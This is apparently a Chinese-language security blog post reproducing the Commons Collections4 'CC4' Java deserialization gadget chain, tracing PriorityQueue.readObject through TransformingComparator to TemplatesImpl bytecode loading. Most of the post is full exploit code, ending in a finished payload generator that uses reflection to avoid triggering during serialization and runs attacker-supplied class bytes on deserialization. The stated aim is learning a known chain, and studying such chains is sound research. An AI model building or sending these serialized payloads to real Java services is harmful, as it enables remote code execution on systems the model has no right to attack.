Java反序列化CC4链

未命名

环境准备

之前三条链都是基于cc3的版本,后来又更新了一个cc4,TransformingComparator​莫名其妙多了一个可以被序列化的接口,所以这条链子就是利用这个来打的,让我们来学习复现一下

在pom.xml里添加

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

image

之后不要忘记点开maven文件如果是.class文件,点击Download Source

链子分析

注意一下import

import org.apache.commons.collections4.functors.*;

这个链子其实也是在CC1的基础上做了变化,只不过变化的是中间部分

TransformingComparator

先进入ChainedTransformer​,找到transform​ Find Usages一下

最后是找到了这里

image

之所以是这里首先TransformingComparator​是可以被序列化的,然后还调用了transform,调用transform的方法还是一个比较常用的方法compare

image

接下来就往回找是哪个调用了compare​,继续向上find usages

PriorityQueue

image

至于说是怎么找到这个的,还是那个思路,找readObject​里面某种方法调用了compare

这需要java的基础知识,得对开发比较熟悉,因为这样直接find usages很多

ok,我们继续说PriorityQueue,找到里面的readObject

image

其调用了heapify方法,

image

heapify有调用了siftDown方法,

image

其中的siftDownUsingComparator​中comparator​调用了compare方法

image

链子正好就拼接起来了

image

EXP的书写

前面还是和CC3的一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class CC4Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

先看一下TransformingComparator​的构造函数,

image

可以直接传transformer

再看一下PriorityQueue​构造函数能不能把comparator直接传进去

image

也是可以直接传的

那么我们的exp就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

运行完发现并没有执行也没有报错,我们跟进去下个断点调试一下

image

之后继续往下走

image

这里的逻辑是size无符号右移一位,相当于 size / 2​,目前size为0,所以没有走到siftDown

至少size为2才可以进来

所以改一下我们的exp,加上

1
2
priorityQueue.add(1);
priorityQueue.add(2);

出现报错

原因是add->offer->siftUp->siftUpUsingComparator里面调用了compare

所以本来想反序列化执行,但是本地直接执行了

我们可以把transformers或chainedTransformer先开始赋值一个没用的东西,然后add之后序列化再改过来

最终版本EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaaa");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class"));
byte[][] codes = {evil};
bytecodes.set(templates,codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator,chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}

image


Java反序列化CC4链
http://example.com/post/unnamed-2hsnwr.html
作者
Dre4m
发布于
2025年9月17日
许可协议